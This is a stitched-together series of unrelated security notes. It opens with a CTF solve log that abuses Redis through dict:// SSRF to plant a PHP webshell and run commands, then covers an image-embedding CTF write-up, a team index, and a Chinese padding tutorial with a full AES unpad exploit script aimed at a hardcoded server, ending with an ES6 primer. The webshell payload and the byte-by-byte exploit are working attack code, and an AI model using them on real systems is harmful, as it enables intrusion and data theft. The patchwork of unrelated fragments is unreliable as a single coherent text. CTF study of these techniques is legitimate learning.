root@kali:/media/sf_CTFs/bsidestlv/WebProxy_Nightmare# python3 solve.py Sending request to: 'dict://10.42.106.242.nip.io:6379/CONFIG SET dir /var/www/html' Sending request to: 'dict://10.42.106.242.nip.io:6379/CONFIG SET dbfilename shell.php' Sending request to: 'dict://10.42.106.242.nip.io:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"' Sending request to: 'dict://10.42.106.242.nip.io:6379/SAVE' Sending request to: 'http://10.42.106.242.nip.io:80/shell.php?command=cat $(find / -name flag.txt)' REDIS0006þ flag!BsidesTLV2020{Y0u_4r3_A_Genius!!}ÿKp¿’Ú“Êr ``` That wasn't such a nightmare after all.
sec-knowleage
# Vision Category: AI Research, 250 points ## Description > During your research on image similarity methods, you discover a corpus made of images, only to find out that the original images were deleted by their creator and only their 512D feature vector was saved. You are now provided with a single such binary vector (a pickled numpy array), which was created from a ResNet18 model (PyTorch), pre-trained on the ImageNet corpus. > > Your task is to identify the object that appeared in the original image. > > The attached image file contains a hint regarding the identity of said object. ## Solution: Our strategy was to iterate ImageNet categories, pick 10 random images for each category, and test the similarity to the vector we've received. ```python from pwn import * from PIL import Image from multiprocessing.dummy import Pool as ThreadPool import os import json import torch import torchvision import torchvision.models as models import numpy as np import requests import logging import multiprocessing import matplotlib.pyplot as plt THRESHOLD = 0.7 OUTPUT_FOLDER = "output" NUM_THREADS = 20 MAX_IMAGES_PER_LABEL = 10 # Load the pretrained model model = models.resnet18(pretrained = True) # Use the model object to select the desired layer layer = model._modules.get('avgpool') # Set model to evaluation mode model.eval() transforms = torchvision.transforms.Compose([ torchvision.transforms.Resize(256), torchvision.transforms.CenterCrop(224), torchvision.transforms.ToTensor(), torchvision.transforms.Normalize(mean = [0.5, 0.5, 0.5], std = [0.5, 0.5, 0.5]), ]) def get_vector(image): # Create a PyTorch tensor with the transformed image t_img = transforms(image) # Create a vector of zeros that will hold our feature vector # The 'avgpool' layer has an output size of 512 my_embedding = torch.zeros(512) # Define a function that will copy the output of a layer def copy_data(m, i, o): my_embedding.copy_(o.flatten()) # <-- flatten # Attach that function to our selected layer h = layer.register_forward_hook(copy_data) # Run the model on our transformed image with torch.no_grad(): # <-- no_grad context model(t_img.unsqueeze(0)) # <-- unsqueeze # Detach our copy function from the layer h.remove() # Return the feature vector return my_embedding def download_images(input_queue, output_queue): while not input_queue.empty(): key, id, label = input_queue.get() try: r = requests.get("http://www.image-net.org/api/text/imagenet.synset.geturls?wnid={}".format(id)) except Exception: continue added_images = 0 for i, image_url in enumerate(r.text.split("\n")): if image_url == "": continue if added_images > MAX_IMAGES_PER_LABEL: break try: img = Image.open(requests.get(image_url, stream = True).raw) output_queue.put((key, id, label, i, img)) added_images += 1 except Exception: pass def main(): if not os.path.exists(OUTPUT_FOLDER): os.mkdir(OUTPUT_FOLDER) img_list_queue = multiprocessing.Queue() result_queue = multiprocessing.Queue() v = np.load("image_embedding.npy") cos = torch.nn.CosineSimilarity(dim = 0) # https://s3.amazonaws.com/deep-learning-models/image-models/imagenet_class_index.json with open("imagenet_class_index.json", "r") as imagenet_class_index: labels = json.load(imagenet_class_index) for key, (id, label) in labels.items(): img_list_queue.put((key, id, label)) img_list_thread_pool = ThreadPool(NUM_THREADS, download_images, (img_list_queue, result_queue)) with log.progress('Searching for similar objects...') as p: while not img_list_queue.empty(): try: key, id, label, i, img = result_queue.get(timeout = 60) p.status(f"{key}: Label '{label}', image #{i}") pic_vector = get_vector(img).numpy() cosine_similarity = cos(torch.from_numpy(v), torch.from_numpy(pic_vector)) if cosine_similarity > THRESHOLD: log.info(f"Found similar object: {label}, similarity: {cosine_similarity}") np.save(f"{OUTPUT_FOLDER}/{label}_{i}_vector.npy", pic_vector) plt.scatter(range(v.shape[0]), v) plt.scatter(range(pic_vector.shape[0]), pic_vector) plt.savefig(f"{OUTPUT_FOLDER}/{label}_{i}_image.png") plt.clf() except multiprocessing.queues.Empty: break except RuntimeError as e: pass img_list_thread_pool.close() img_list_thread_pool.join() if __name__ == "__main__": main() ``` Eventually we get the following results: ```console root@kali:/media/sf_CTFs/shabak/Vision# python3 solve.py [↖] Searching for similar objects...: 420: Label 'banjo', image #26 [*] Found similar object: assault_rifle, similarity: 0.7856280207633972 [*] Found similar object: assault_rifle, similarity: 0.7135688662528992 [*] Found similar object: assault_rifle, similarity: 0.7446579337120056 ``` The accepted solution was "assault rifle".
sec-knowleage
# Tokyo Westerns CTF 2018 Team: robert, shalom, nazywam, pwn.m0d3, des, akrasuski1, msm, sasza ### Table of contents * [Matrix Led (re)](matrix_led) * [SCS7 (crypto)](crypto_scs7) * [Revolutional Secure Angou (crypto)](crypto_rsa) * [Mixed cipher(crypto)](crypto_mixed) * [PySandbox 1&2 (misc)](misc_pysandbox) * [Shrine (web)](web_shrine) * [Slack Emoji (web)](web_slackemoji)
sec-knowleage
# 填充方式 正如我们之前所说,在分组加密中,明文的长度往往并不满足要求,需要进行 padding,而如何 padding 目前也已经有了不少的规定。 常见的 [填充规则]( https://www.di-mgt.com.au/cryptopad.html) 如下。**需要注意的是,即使消息的长度是块大小的整数倍,仍然需要填充。** 一般来说,如果在解密之后发现 Padding 不正确,则往往会抛出异常。我们也因此可以知道 Paddig 是否正确。 ## Pad with bytes all of the same value as the number of padding bytes (PKCS5 padding) 举例子如下 ``` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6F 72 05 05 05 05 05 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = FD 29 85 C9 E8 DF 41 40 ``` ## Pad with 0x80 followed by zero bytes (OneAndZeroes Padding) 举例子如下 ``` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6F 72 80 00 00 00 00 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = BE 62 5D 9F F3 C6 C8 40 ``` 这里其实就是和 md5 和 sha1 的 padding 差不多。 ## Pad with zeroes except make the last byte equal to the number of padding bytes 举例子如下 ``` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6f 72 00 00 00 00 05 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = 91 19 2C 64 B5 5C 5D B8 ``` ## Pad with zero (null) characters 举例子如下 ``` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6f 72 00 00 00 00 00 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = 9E 14 FB 96 C5 FE EB 75 ``` ## Pad with spaces 举例子如下 ``` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6f 72 20 20 20 20 20 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = E3 FF EC E5 21 1F 35 25 ``` ## 2018 上海市大学生网络安全大赛 aessss 有时候可以针对一些使用不当的 Padding 进行攻击。这里以 2018 上海市大学生网络安全大赛的一道题目为例: 题目脚本如下: ```python import random import sys import string from hashlib import sha256 import SocketServer from Crypto.Cipher import AES from secret import FLAG, IV, KEY class Task(SocketServer.BaseRequestHandler): def proof_of_work(self): proof = ''.join( [random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) # print proof digest = sha256(proof).hexdigest() self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:], digest)) self.request.send('Give me XXXX:') x = self.request.recv(10) x = x.strip() if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: return False return True def pad(self, s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.s_box): ret[pos] = s[index] return ''.join(ret) def unpad(self, s): ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])]) s_box = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ] invs_box = [ 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D ] def encrypt(self, msg): cipher = AES.new(KEY, AES.MODE_CBC, IV) return cipher.encrypt(msg).encode('hex') def handle(self): if not self.proof_of_work(): return self.request.settimeout(15) req = self.request flag_len = len(FLAG) assert(flag_len == 33) self.flag = self.pad(FLAG) assert(len(self.flag) == 256) while True: req.sendall( 'Welcome to AES(WXH) encrypt system.\n1. get encrypted flag.\n2. pad flag.\n3.Do some encrypt.\nYour choice:') cmd = req.recv(2).strip() try: cmd = int(cmd) except ValueError: cmd = 0 if cmd == 1: enc = self.encrypt(self.flag) req.sendall('Here is the encrypted flag: 0x%s\n' % enc) elif cmd == 2: req.sendall('Pad me something:') self.flag = self.unpad(self.flag)[ :flag_len] + req.recv(1024).strip() assert(len(self.flag) <= 256) self.flag = self.pad(self.flag) req.sendall('Done.\n') elif cmd == 3: req.sendall('What do you want to encrypt:') msg = self.pad(req.recv(1024).strip()) assert(len(msg) <= 256) enc = self.encrypt(msg) req.sendall('Here is the encrypted message: 0x%s\n' % enc) else: req.sendall('Do not lose heart~ !% Once WXH AK IOI 2019 can Solved! WXH is the first in the tianxia!') req.close() return class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass if __name__ == "__main__": HOST, PORT = '0.0.0.0', 23333 print 'Run in port:23333' server = ThreadedServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ``` ### 分析 这个题目问题出在 padding 的时候,由于不足 256 位要进行 padding,padding 的字节也就是缺的字节数,但是如果明文够 256 字节,那么按照代码逻辑就不进行 padding: ```python def pad(self, s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.s_box): ret[pos] = s[index] return ''.join(ret) ``` 最大的问题出在 unpad 上,unpad 没有进行检查,仅仅通过最后一个字节来判断填充的字节数。 ```python def unpad(self, s): ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])]) ``` 我们可以通过篡改最后一个字节来控制去掉的 padding 字节数。 ### 利用 1. 选择 choice2,追加 `256-33 =223`字节,使当前 flag 不需要填充,追加的最后一个字节设置成 `chr(256-32)`。 2. 服务器对 flag 追加我们的信息,并进行 s 盒替换,结果赋给类中的 flag 变量。 3. 我们再次选择 choice2,这里由于我们需要追加,服务器会将类中的 flag 变量取出进行逆 S 盒替换和 unpad,这样按照这个 unpad 算法会把后面 224 字节的全部当成 padding去掉,明文剩下了真正 flag 的前32位。 4. 我们此时输入一个字符 i,那么此时加密的对象就是 `flag[:32]+i`。 5. 选择 choice1 对当前 flag 加密,控制 i 进行爆破,如果得到的密文和最初的 flag 加密的密文一样,就得到了 flag 的最后一个字节。 6. 逐字节爆破,直至获取全部的 flag。 exp 如下: ```python # -*- coding: utf-8 -*- from hashlib import sha256 import socket import string import itertools HOST='106.75.13.64' PORT=54321 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) def brute_force(pad, shavalue): for str in itertools.product(string.ascii_letters + string.digits, repeat=4): str=''.join(str) if sha256(str + pad).hexdigest() == shavalue: print str return str def choice1(): sock.send("1\n") result=sock.recv(1024).strip()[30:] sock.recv(1024).strip() return result def choice2(pad): sock.send("2\n") sock.recv(1024).strip() sock.send(pad+"\n") sock.recv(1024).strip() sock.recv(1024).strip() def choice3(str): sock.send("3\n") sock.recv(1024).strip() sock.send(str+"\n") result=sock.recv(1024).strip()[33:] sock.recv(1024).strip() return result content = sock.recv(1024).strip() pad=content[12:12+16] hash=content[33:33+64] sock.recv(1024).strip() sock.send(str(brute_force(pad,hash))+"\n") print sock.recv(1024).strip() flag_enc=choice1() flag="" for i in range(33): a = ''.join(['a' for _ in range(223)]) a = a[:-1] + chr(224+i) for c in string.printable: print c+flag choice2(a) choice2(c+flag) if choice1() == flag_enc: flag=c+flag print "success:",flag break ``` > flag{H4ve_fun_w1th_p4d_and_unp4d}
sec-knowleage
--- title: ES6 --- ### 什么是ES6? 2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为ECMAScript 2015(ES2015),但通常被称为 ECMAScript 6 或者ES6。 ### ECMAScript 和 JavaScript 的关系? ECMAScript 和 JavaScript 的关系是,前者是后者的规格,后者是前者的一种实现(另外的 ECMAScript 方言还有 Jscript 和 ActionScript)。日常场合,这两个词是可以互换的。 ### Babel 转码器 Babel是一个广泛使用的ES6转码器,可以将 ES6 代码转为 ES5 代码,从而在现有环境执行。这意味着,你可以用 ES6 的方式编写程序,又不用担心现有环境是否支持。大家可以选择自己习惯的工具来使用使用Babel,具体过程可直接在Babel官网查看: [点击跳转Babel官网地址](http://babeljs.io/) <img src='http://upload-images.jianshu.io/upload_images/1504317-d020f21868e8e84c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240' alt="bable官网"> ### Js的严格模式(Es5添加的) ``` "use strict"; ``` ### 最常用的ES6特性 let, const, class, extends, super, arrow functions, template string, destructuring, default, rest arguments 这些是ES6最常用的几个语法,也是ES6的重点。
sec-knowleage